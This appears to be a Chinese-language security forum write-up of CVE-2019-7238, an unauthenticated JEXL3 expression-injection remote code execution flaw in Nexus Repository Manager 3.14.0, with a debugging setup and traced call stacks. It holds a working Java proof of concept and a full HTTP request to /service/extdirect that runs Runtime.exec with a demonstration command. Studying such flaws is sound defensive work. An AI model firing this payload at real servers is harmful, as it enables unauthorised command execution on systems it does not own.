简介

Sonatype Nexus Repository Manager 3的plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy接口未进行权限验证,该接口可以在未授权访问时发送精心构造的恶意JSON数据,造成JEXL3表达式注入进而远程执行任意命令。

影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.14.0

修复版本:Nexus Repository Manager OSS/Pro 3.15.0

JEXL表达式

JEXL(Java EXpression Language),这是一种简单的表达语言,JEXL基于对JSTL表达式语言进行一些扩展从而实现一种表达式语言,最初受Apache Velocity和JavaServer Pages标准标记库版本1.1(JSTL)和JavaServer Pages 2.0(JSP)中定义的表达语言的启发。

示例

选择Nexus-Repository-Manager3中使用的JEXL3,添加pom.xml依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-jexl3</artifactId>
    <version>3.0</version>
</dependency>

使用的基本步骤:

  • 创建表达式引擎对象
  • 创建想要执行的表达式语句,语句中可以包含变量
  • 创建表达式Context对象,给表达式中的变量赋值
  • 使用表达式引擎创建表达式对象
  • 使用表达式对象执行表达式计算

伪代码:

// Create a JexlEngine (could reuse one instead)
JexlEngine jexl = new JexlBuilder().create();
// Create an expression object equivalent to 'car.getEngine().checkStatus()':
String jexlExp = "car.engine.checkStatus()";
Expression e = jexl.createExpression( jexlExp );
// The car we have to handle coming as an argument...
Car car = theCarThatWeHandle;
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("car", car );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);

实际代码:

Foo.java

public static class Foo {
    public String getFoo() {
        return "This is from getFoo()";
    }

    public String get(String arg) {
        return "This is the property " + arg;
    }

    public String convert(long i) {
        return "The value is : " + i;
    }
}

Foo类包含三个简单方法,包含有参数和无参数方法。

TestCase.java

package Nexus;

import org.apache.commons.jexl3.*;

public class TestCase {

    public static void main(String[] args) {
        JexlEngine jexl = new JexlBuilder().create();

        JexlContext jc = new MapContext();
        Foo foo = new Foo();
        Integer number = new Integer(9999);
        jc.set("foo", foo);
        jc.set("number", number);

        JexlExpression e = jexl.createExpression("foo.getFoo()");
        Object o = e.evaluate(jc);
        System.out.println("value returned by the method getFoo() is : " + o + " | " + foo.getFoo());

        e = jexl.createExpression("foo.convert(1)");
        o = e.evaluate(jc);
        System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(1));

        e = jexl.createExpression("foo.convert(number)");
        o = e.evaluate(jc);
        System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(9999));

        e = jexl.createExpression("foo.bar");
        o = e.evaluate(jc);
        System.out.println("value returned for the property 'bar' is : " + o + " | " + foo.get("bar"));

    }


    public static class Foo {
        public String getFoo() {
            return "This is from getFoo()";
        }

        public String get(String arg) {
            return "This is the property " + arg;
        }

        public String convert(long i) {
            return "The value is : " + i;
        }
    }

}

首先是new JexlBuilder().create()创建引擎对象,接着new MapContext()创建表达式Context对象数组,接着创建Integer对象和Foo对象通过set放入数组中。

  • 第一个例子createExpression("foo.getFoo()"),创建引擎创建表达式对象,然后通过evaluate执行计算。表达式字符串存在foo,因此会到表达式Context数组中匹配到Foo对象,并执行无参数的getFoo()方法。

  • 第二个例子createExpression("foo.convert(1)"),指定传入参数1并调用convert(),结果为1

  • 第三个例子createExpression("foo.convert(number)"),到Context数组中寻找传入参数的number,并调用convert(),结果为9999

运行结果:

value returned by the method getFoo() is : This is from getFoo() | This is from getFoo()
value of foo.convert(1) is : The value is : 1 | The value is : 1
value of foo.convert(number) is : The value is : 9999 | The value is : 9999
value returned for the property 'bar' is : This is the property bar | This is the property bar

RCE

精心构造恶意的表达式,表达式对象执行时能够完成任意命令执行,POC如下:

package Nexus;
import org.apache.commons.jexl3.*;

public class JEXLTEST {
    public static void main(String[] args) {

        String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')";

        JexlEngine engine = new JexlBuilder().create();
        JexlExpression Expression = engine.createExpression(Exp);


        JexlContext Context = new MapContext();
        //Context.set("foo", 999);


        Object rs = Expression.evaluate(Context);
        System.out.println(rs);
    }
}

org.apache.commons.jexl3.JexlBuilder#create

new JexlBuilder().create()首先创建JexlBuilder类对象,然后调用create方法创建并返回Engine对象

org.apache.commons.jexl3.internal.Engine#Engine(org.apache.commons.jexl3.JexlBuilder)

Engine对象使用构造函数进行初始化,并且Engine类继承JexlEngine类,返回上层执行engine.createExpression(Exp)

org.apache.commons.jexl3.JexlExpression

expression必须是有效的JEXL表达式字符串,调用父类JexlEnginecreateExpression方法。

org.apache.commons.jexl3.internal.Engine#createExpression

使用trimSource去掉表达式的空白,然后传入parse函数

org.apache.commons.jexl3.internal.Engine#parse

然后调用this.parser.parse()进行解析表达式,this.parser对象构造函数

org/apache/commons/jexl3/internal/Engine.java:91

org.apache.commons.jexl3.parser.Parser#Parser(java.io.Reader)

继续跟进parse对象的parse()

org.apache.commons.jexl3.parser.Parser#parse

org.apache.commons.jexl3.parser.JJTParserState#closeNodeScope(org.apache.commons.jexl3.parser.Node, boolean)

解析表达式的过程很长,通过节点node进行解析,解析的调用栈为:

closeNodeScope:112, JJTParserState (org.apache.commons.jexl3.parser)
Arguments:3044, Parser (org.apache.commons.jexl3.parser)
MethodCall:3565, Parser (org.apache.commons.jexl3.parser)
MemberExpression:3604, Parser (org.apache.commons.jexl3.parser)
ValueExpression:3634, Parser (org.apache.commons.jexl3.parser)
UnaryExpression:2367, Parser (org.apache.commons.jexl3.parser)
MultiplicativeExpression:2080, Parser (org.apache.commons.jexl3.parser)
AdditiveExpression:2000, Parser (org.apache.commons.jexl3.parser)
RelationalExpression:1661, Parser (org.apache.commons.jexl3.parser)
EqualityExpression:1549, Parser (org.apache.commons.jexl3.parser)
AndExpression:1505, Parser (org.apache.commons.jexl3.parser)
ExclusiveOrExpression:1461, Parser (org.apache.commons.jexl3.parser)
InclusiveOrExpression:1417, Parser (org.apache.commons.jexl3.parser)
ConditionalAndExpression:1373, Parser (org.apache.commons.jexl3.parser)
ConditionalOrExpression:1329, Parser (org.apache.commons.jexl3.parser)
ConditionalExpression:1247, Parser (org.apache.commons.jexl3.parser)
AssignmentExpression:947, Parser (org.apache.commons.jexl3.parser)
Expression:943, Parser (org.apache.commons.jexl3.parser)
JexlExpression:155, Parser (org.apache.commons.jexl3.parser)
parse:27, Parser (org.apache.commons.jexl3.parser)
parse:684, Engine (org.apache.commons.jexl3.internal)
createExpression:371, Engine (org.apache.commons.jexl3.internal)
createExpression:59, Engine (org.apache.commons.jexl3.internal)
createExpression:289, JexlEngine (org.apache.commons.jexl3)
main:13, JEXLTEST (Nexus)

层层返回到createExpression函数

org/apache/commons/jexl3/internal/Engine.java:371

ASTJexlScript对象通过children成员层级关系存储解析出来的node节点,并传入Script构造函数。

org.apache.commons.jexl3.internal.Script#Script

分别放入Script类的各个成员中,最终返回Script类对象到main函数。

Expression类型为Script,且继续传入表达式Context对象调用evaluate方法

org.apache.commons.jexl3.internal.Script#evaluate

传入包含全部层级关系的node进入interpreter.interpret进行解析

org.apache.commons.jexl3.internal.Interpreter#interpret

后面就是层层解析node,最后通过反射完成命令执行,调用栈如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:93, MethodExecutor (org.apache.commons.jexl3.internal.introspection)
call:1665, Interpreter (org.apache.commons.jexl3.internal)
visit:1409, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:18, ASTMethodNode (org.apache.commons.jexl3.parser)
visit:1133, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:18, ASTReference (org.apache.commons.jexl3.parser)
interpret:201, Interpreter (org.apache.commons.jexl3.internal)
evaluate:186, Script (org.apache.commons.jexl3.internal)
main:20, JEXLTEST (Nexus)

Nexus3 JEXL3表达式注入

环境搭建

拉取nexus3 docker

docker pull sonatype/nexus3:3.14.0

运行docker容器

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g  -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0

8081为Web管理端口映射,5050为JDWP调试端口映射,nexus-data为数据目录,INSTALL4J_ADD_VM_PARAMS为调试参数。

Github下载 Nexus 源码:

git clone https://github.com/sonatype/nexus-public.git

并且切换至 3.14.0-04 分支:

git checkout -b release-3.14.0-04 remotes/origin/release-3.14.0-04

IDEA配置远程调试信息

成功后可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter进行断点测试。

漏洞分析

Payload:

POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 825
Connection: close

{
    "action":"coreui_Component",
    "method":"previewAssets",
    "data":[
        {
            "page":1,
            "start":0,
            "limit":50,
            "sort":[
                {
                    "property":"name",
                    "direction":"ASC"
                }],
            "filter":
            [
                {
                    "property":"repositoryName",
                    "value":"*"
                },
                {
                    "property":"expression",
                    "value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')"
                },
                {
                    "property":"type",
                    "value":"jexl"
                }]
        }],
    "type":"rpc",
    "tid":8
}

查看Servlet Filter配置:

src/main/resources/overlay/etc/jetty/nexus-web.xml

com/softwarementors/extjs/djn/router/dispatcher/DispatcherBase.java:63

解析JSON后进行调度,调用栈如下:

dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard)
processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router)
processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
doPost:595, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
doPost:155, ExtDirectServlet (org.sonatype.nexus.extdirect.internal)
service:707, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:286, ServletDefinition (com.google.inject.servlet)
doService:276, ServletDefinition (com.google.inject.servlet)
service:181, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:85, SecurityFilter (org.sonatype.nexus.security)
call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:383, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:101, SecurityFilter (org.sonatype.nexus.security)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:108, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:97, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:68, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:135, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:1634, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doHandle:533, ServletHandler (org.eclipse.jetty.servlet)
handle:146, ScopedHandler (org.eclipse.jetty.server.handler)
handle:548, SecurityHandler (org.eclipse.jetty.security)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:257, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1595, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1317, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:473, ServletHandler (org.eclipse.jetty.servlet)
doScope:1564, SessionHandler (org.eclipse.jetty.server.session)
nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1219, ContextHandler (org.eclipse.jetty.server.handler)
handle:144, ScopedHandler (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:175, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:126, HandlerCollection (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:531, Server (org.eclipse.jetty.server)
handle:352, HttpChannel (org.eclipse.jetty.server)
onFillable:260, HttpConnection (org.eclipse.jetty.server)
succeeded:281, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:102, FillInterest (org.eclipse.jetty.io)
run:118, ChannelEndPoint$2 (org.eclipse.jetty.io)
runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:762, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:680, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
run:748, Thread (java.lang)

调度后进入关键的PagedResponse<AssetXO> previewAssets

org.sonatype.nexus.coreui.ComponentComponent#previewAssets

可以发现可以未授权访问,parameters.getFilter获取typeexpression等参数,根据type进入对应分支调用jexlExpressionValidator.validate函数

org.sonatype.nexus.selector.JexlExpressionValidator#validate

继续将恶意表达式字符串传入JexlSelector构造函数

org.sonatype.nexus.selector.JexlSelector#JexlSelector

恶意表达式字符串创建表达式对象并存入this.expression成员,层层返回后,调用接着将参数传入browseService.previewAssets

org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets

继续跟踪countAssets接口

org.sonatype.nexus.repository.storage.StorageTxImpl#countAssets(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>, java.lang.Iterable<org.sonatype.nexus.repository.Repository>, java.lang.String)

org.sonatype.nexus.repository.storage.MetadataNodeEntityAdapter#countByQuery

调用栈很长,直接跳到最关键的位置

org.sonatype.nexus.internal.selector.SelectorManagerImpl#evaluate

selectorConfiguration作为参数创建Selector对象,然后调用evaluate函数

org.sonatype.nexus.selector.JexlSelector#evaluate

最终的表达式注入点,执行了上方创建的恶意表达式对象this.expression,完成任意命令执行。

参考

https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019

https://lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/

https://www.anquanke.com/post/id/202867

https://commons.apache.org/proper/commons-jexl/

https://commons.apache.org/proper/commons-jexl/xref-test/org/apache/commons/jexl3/examples/package-frame.html

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖